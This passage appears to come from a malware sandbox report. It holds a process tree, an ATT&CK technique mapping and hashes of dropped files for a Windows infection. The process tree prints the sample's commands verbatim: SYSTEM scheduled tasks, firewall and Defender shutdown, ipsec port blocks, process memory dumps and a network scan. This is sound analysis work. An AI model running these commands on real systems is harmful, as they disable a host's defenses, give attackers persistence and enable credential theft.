    schtasks /create /sc minute /mo 1 /tn "heumqybsu" /ru system /tr "cmd /c C:\Windows\ime\lebulsi.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2496
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "lgryeyifg" /ru system /tr "cmd /c echo Y|cacls C:\Windows\seumlgyb\lebulsi.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3228
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1580
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "lgryeyifg" /ru system /tr "cmd /c echo Y|cacls C:\Windows\seumlgyb\lebulsi.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3956
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "anfnabsvu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\eyuduassi\uuetgf.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1912
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:3432
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "anfnabsvu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\eyuduassi\uuetgf.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1740
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1696
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2136
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2116
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3064
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3512
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4324
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3200
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:868
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1384
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3736
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3092
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4100
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3936
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4556
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      PID:4288
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  PID:2704
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1716
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4988
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:3860
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1108
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    PID:220
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:1416
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4504
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    PID:4892
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:3228
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4428
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1188
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:3720
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  PID:64
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:1576
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4808
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1644
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2716
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3428
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2448
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:384
- C:\Windows\TEMP\zthyliniv\sadefbibf.exe
  C:\Windows\TEMP\zthyliniv\sadefbibf.exe -accepteula -mp 784 C:\Windows\TEMP\zthyliniv\784.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3888
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:2312
- C:\Windows\TEMP\zthyliniv\sadefbibf.exe
  C:\Windows\TEMP\zthyliniv\sadefbibf.exe -accepteula -mp 316 C:\Windows\TEMP\zthyliniv\316.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3112
- C:\Windows\TEMP\zthyliniv\sadefbibf.exe
  C:\Windows\TEMP\zthyliniv\sadefbibf.exe -accepteula -mp 2104 C:\Windows\TEMP\zthyliniv\2104.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3808
- C:\Windows\TEMP\zthyliniv\sadefbibf.exe
  C:\Windows\TEMP\zthyliniv\sadefbibf.exe -accepteula -mp 2672 C:\Windows\TEMP\zthyliniv\2672.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2696
- C:\Windows\TEMP\zthyliniv\sadefbibf.exe
  C:\Windows\TEMP\zthyliniv\sadefbibf.exe -accepteula -mp 2812 C:\Windows\TEMP\zthyliniv\2812.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4672
- C:\Windows\TEMP\zthyliniv\sadefbibf.exe
  C:\Windows\TEMP\zthyliniv\sadefbibf.exe -accepteula -mp 3020 C:\Windows\TEMP\zthyliniv\3020.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2424
- C:\Windows\TEMP\zthyliniv\sadefbibf.exe
  C:\Windows\TEMP\zthyliniv\sadefbibf.exe -accepteula -mp 60 C:\Windows\TEMP\zthyliniv\60.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4836
- C:\Windows\TEMP\zthyliniv\sadefbibf.exe
  C:\Windows\TEMP\zthyliniv\sadefbibf.exe -accepteula -mp 3776 C:\Windows\TEMP\zthyliniv\3776.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4988
- C:\Windows\TEMP\zthyliniv\sadefbibf.exe
  C:\Windows\TEMP\zthyliniv\sadefbibf.exe -accepteula -mp 3864 C:\Windows\TEMP\zthyliniv\3864.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1040
- C:\Windows\TEMP\zthyliniv\sadefbibf.exe
  C:\Windows\TEMP\zthyliniv\sadefbibf.exe -accepteula -mp 3924 C:\Windows\TEMP\zthyliniv\3924.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3436
- C:\Windows\TEMP\zthyliniv\sadefbibf.exe
  C:\Windows\TEMP\zthyliniv\sadefbibf.exe -accepteula -mp 4008 C:\Windows\TEMP\zthyliniv\4008.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2448
- C:\Windows\TEMP\zthyliniv\sadefbibf.exe
  C:\Windows\TEMP\zthyliniv\sadefbibf.exe -accepteula -mp 3124 C:\Windows\TEMP\zthyliniv\3124.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3952
- C:\Windows\TEMP\zthyliniv\sadefbibf.exe
  C:\Windows\TEMP\zthyliniv\sadefbibf.exe -accepteula -mp 2904 C:\Windows\TEMP\zthyliniv\2904.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2700
- C:\Windows\TEMP\zthyliniv\sadefbibf.exe
  C:\Windows\TEMP\zthyliniv\sadefbibf.exe -accepteula -mp 3748 C:\Windows\TEMP\zthyliniv\3748.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3080
- C:\Windows\TEMP\zthyliniv\sadefbibf.exe
  C:\Windows\TEMP\zthyliniv\sadefbibf.exe -accepteula -mp 2044 C:\Windows\TEMP\zthyliniv\2044.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1168
- C:\Windows\TEMP\zthyliniv\sadefbibf.exe
  C:\Windows\TEMP\zthyliniv\sadefbibf.exe -accepteula -mp 3236 C:\Windows\TEMP\zthyliniv\3236.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2968
- C:\Windows\TEMP\zthyliniv\sadefbibf.exe
  C:\Windows\TEMP\zthyliniv\sadefbibf.exe -accepteula -mp 3948 C:\Windows\TEMP\zthyliniv\3948.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4376
- C:\Windows\TEMP\zthyliniv\sadefbibf.exe
  C:\Windows\TEMP\zthyliniv\sadefbibf.exe -accepteula -mp 4196 C:\Windows\TEMP\zthyliniv\4196.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4672
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\zthyliniv\eftbbbiir\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3860
- - C:\Windows\zthyliniv\eftbbbiir\ysesbhsym.exe
    ysesbhsym.exe TCP 181.215.0.1 181.215.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:3556
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5176
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2056
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:3192
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4412
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2388
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2936
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:2836

C:\Windows\SysWOW64\varpws.exe
C:\Windows\SysWOW64\varpws.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:1676

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\seumlgyb\lebulsi.exe /p everyone:F
1⤵
PID:3788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1640
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\seumlgyb\lebulsi.exe /p everyone:F
  2⤵
  PID:2756

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\lebulsi.exe
1⤵
PID:3512
- C:\Windows\ime\lebulsi.exe
  C:\Windows\ime\lebulsi.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1488

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\eyuduassi\uuetgf.exe /p everyone:F
1⤵
PID:4192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3064
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\eyuduassi\uuetgf.exe /p everyone:F
  2⤵
  PID:2380

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\lebulsi.exe
1⤵
PID:3660
- C:\Windows\ime\lebulsi.exe
  C:\Windows\ime\lebulsi.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:6096

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\eyuduassi\uuetgf.exe /p everyone:F
1⤵
PID:1872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4320
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\eyuduassi\uuetgf.exe /p everyone:F
  2⤵
  PID:2288

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\seumlgyb\lebulsi.exe /p everyone:F
1⤵
PID:3368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1576
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\seumlgyb\lebulsi.exe /p everyone:F
  2⤵
  PID:6012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\eyuduassi\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\TEMP\zthyliniv\2104.dmp

Filesize
4.1MB

MD5
ba5a2a014ef345cdbc867a05b9118cba

SHA1
d69acde6fa57bedac7de7ef59e4cefb2d6490bac

SHA256
8b906d04e06b65dd01c416c6b8b5e033a868269f41b806fa39b69b4e97ec827b

SHA512
fc4c8fe13337c4423afe1d3401e08f155b24fd3aea19f3491d853e6615c1fd0ecbfdfa57679bcd95e28fa69e1c69cf721c1b8fbbab6ef2bf02dabeffdcd5483a

Download Submit
C:\Windows\TEMP\zthyliniv\2672.dmp

Filesize
3.7MB

MD5
a61018bdcb67dbe076daca4d01236695

SHA1
6675132f71e71801aa67f1826f676aff1b74ebac

SHA256
55d10b105ef983194fbb9efa65f7259345d6a4ac64d9a4b125b3d32bea9b7b95

SHA512
3eacc37d7f8cd1346fb7f68a124cbcd22160d07aaedc3274c48a70ec870e0cc40caa503b911f4b4e7298faf810342f851c1c8fb631f07495fcd4bbf4985cfc1b

Download Submit
C:\Windows\TEMP\zthyliniv\2812.dmp

Filesize
7.7MB

MD5
26131a5b26c569c08f911601f130790b

SHA1
4e0d36a26b8d3120b62158a3625b41afa602a956

SHA256
760e72bc05ed6ede60da36869cff826d18fd21438a7373844c61d6986bf88abf

SHA512
0ae92414b3b2ff2cc8c4fd3082cffcdacbe10764f01e20ebd41e33d84016124b4aef845e43a15ef87181ffc06b4a80ec09502cb66a9b390c00121070e35c5c8e

Download Submit
C:\Windows\TEMP\zthyliniv\2904.dmp

Filesize
1.2MB

MD5
24aec253d095ef64a19ba42984584e63

SHA1
41b38e976b250e66e5dea29729052532c39aeb80

SHA256
464329a111b5a14656ca881e5a93c6d82727273761d7a4a7baafa51e05220d53

SHA512
875df1efd9a668d236b1aa96f1c397a40e6df04df8d34678bde99c42f49298825139a316c8b02b22a8feeb67a2366a41e3bf716b230e1ac91869ba4f9f96ae46

Download Submit
C:\Windows\TEMP\zthyliniv\3020.dmp

Filesize
2.9MB

MD5
1cd5c5a81ba02c295f580c2f64de1476

SHA1
8ed919018d5e21c04d0e8e21f2bbe86aaf51366e

SHA256
e610629862465f04515564ca527dec44fea674d653dc386b792f2dd66640e0db

SHA512
427785c6b06b6477454adf806ab3df546a5ddb05d582a9080ec268fdf9458384f0a7b0d935bb64f1dfb235b55dc96ef10604eb17f5abd14a37eaae1c86ff7707

Download Submit
C:\Windows\TEMP\zthyliniv\3124.dmp

Filesize
26.1MB

MD5
13f497d9fe8da402fcb277b0e2036a1f

SHA1
0507133f479555b57ff717656f84ecf8c83c3aad

SHA256
40a124edb98e1653e77b490c0fd7dcd819b962cfa01c529cfbc99fb13b7095d2

SHA512
50c8a122b37c9f925a3a11c2152665e6e5260351454087bc4443f0c6cd3f4766160ebdd40f162b4897ba5ce55c6398eb49a250cfce0032357882d216925841b5

Download Submit
C:\Windows\TEMP\zthyliniv\316.dmp

Filesize
33.3MB

MD5
cd2462d7a3363d6171298fe3e5b8c544

SHA1
222169041d89dba692c101ace022879bde69ece1

SHA256
97dc0b378c1063186fbe425ee4675043f39a07452e74ad7d01fc990443eaad9b

SHA512
9be1926b3ebf0bd4cf9f7047937a4582f5bd8a3b1292f00f9e3134efb238189dc69e0fe75125ece3b8fa82284094d96dc2d1bae98ecba3a2fc47bdac0c0c97ce

Download Submit
C:\Windows\TEMP\zthyliniv\3748.dmp

Filesize
8.7MB

MD5
479bdd443bae783aeff1cd057782d4e7

SHA1
6f1a4f9a90c3ba4220bcea2545b37be98933b052

SHA256
60f5e1ad2a68b8a0577b92ca4c298b704e6365b6c109fab9916cbed0ce069ae8

SHA512
7a74455d114d1429fcf2face72579cb5838b9fc1c98b56cf47cdd58ed7e8ee8b424671feb9df4864d68f877eceae4cbcb6e94dca79f9a8ce1fd52c0298f0640c

Download Submit
C:\Windows\TEMP\zthyliniv\3776.dmp

Filesize
2.3MB

MD5
3889b360c760c29fe477e7603dc0de77

SHA1
da0b42eece1fcc0c0dd97b952a17c3b37464a621

SHA256
50f433675764c98694039c15d0569d1c5c59149835011324479d1db7b2ac5f09

SHA512
68d564903dacafa710aa038030615f8b6cd774376ce7717ab5b4f0a79c1673c1db25e3d18d18d5f5ac97e3b80385dfd3d5bbeaa94b268f34fed38835f68e26a9

Download Submit
C:\Windows\TEMP\zthyliniv\3864.dmp

Filesize
20.6MB

MD5
6e9b15341cad26c5fe882e82da80ba86

SHA1
75e100d5789386c2dd1372c8c348473e022d8832

SHA256
844f2331dcd1f2a2b5903c074e57ca0a87223ce4277d493df303bc97dfbd692f

SHA512
80f5053495670cb63d01eb22db1881ae9b09e1bbc65c99d61296e7c6c13c91f1aa3fa84e8868a18bb49a2f385f2a7a7fc7549715614e68b459e742ba0793f64b

Download Submit
C:\Windows\TEMP\zthyliniv\3924.dmp

Filesize
4.3MB

MD5
1c8a45d0e3fe6d6bdd9fd07d993c3979

SHA1
1feb64ff5c6f4b3763e554f442f9d468a56c5a4e

SHA256
97258bbb1010b525fca2df2f9a9f05e4e5a4f1f89a6e4b02e538604b695bbee9

SHA512
88f0aab607104f86f9f008c72f7f37f7f772fd75e1635ebb484df41ce1c1b1e2e4e97215040ff55d05b2824855747fb52e7f2a0c93b2ef26048eef570e4bb452

Download Submit
C:\Windows\TEMP\zthyliniv\4008.dmp

Filesize
43.7MB

MD5
358e770f4bfaefc0cb9ac30267f92a36

SHA1
b441488d16ae126f131ba99f5df2e73b732ef260

SHA256
23a42c49b7f49960764ab774632af35525ac2225769312c8269355165a2da3a5

SHA512
411a005f8df2fd96c15a8f54cf180d9fc5bb246faf9112816a2bb3d1304ebc4b7d9eb0931647697e8ddab07cadc842b81d9c41e125670f824ef4f02625eda3b8

Download Submit
C:\Windows\TEMP\zthyliniv\60.dmp

Filesize
818KB

MD5
699e07e577cdb080b08258bb94a5acda

SHA1
159121002afcd20bd1be4ae840fcaa48b5921a8c

SHA256
4d3e82cd31975aa6d53aa64d047650791dc7664d47b942e5bd50d1caad6a34cc

SHA512
3d42a36f476251f03d0338975edcd03e2c33513ca0bebb6afb5867cd5d235ea4ea097affe384e8fb385897b83b2a3d7046b3077bb8075f20f713045d8d4277db

Download Submit
C:\Windows\TEMP\zthyliniv\784.dmp

Filesize
1011KB

MD5
c9412243a5dc91d9d87960e1479c7855

SHA1
28bf351719f72211f08c3a13c91c93e8d48078cf

SHA256
0dd631ad992c8032e3a939b283098b6fe4d02989c7d894163a43a2c79b75b482

SHA512
bc6e3cb3492d7547d980a6b07e7ce68b30d9e347237d4aa98c267a6a47c8d7c263ae49d44315417fc2688ca7abf3c182958a9edfbca6effd011ab414bfdd3bf5

Download Submit
C:\Windows\Temp\eyuduassi\uuetgf.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\nsi116.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsi116.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\Temp\zthyliniv\sadefbibf.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\seumlgyb\lebulsi.exe

Filesize
8.7MB

MD5
52d9515d939d40e7df2a56fd101a87fd

SHA1
4c25392b8cb063227e19c5d0f89764e4b770033c

SHA256
6487a40b2e15714799e4e0e3041ea2a8ef10c562d2e0f6d785917bc48ce51b00

SHA512
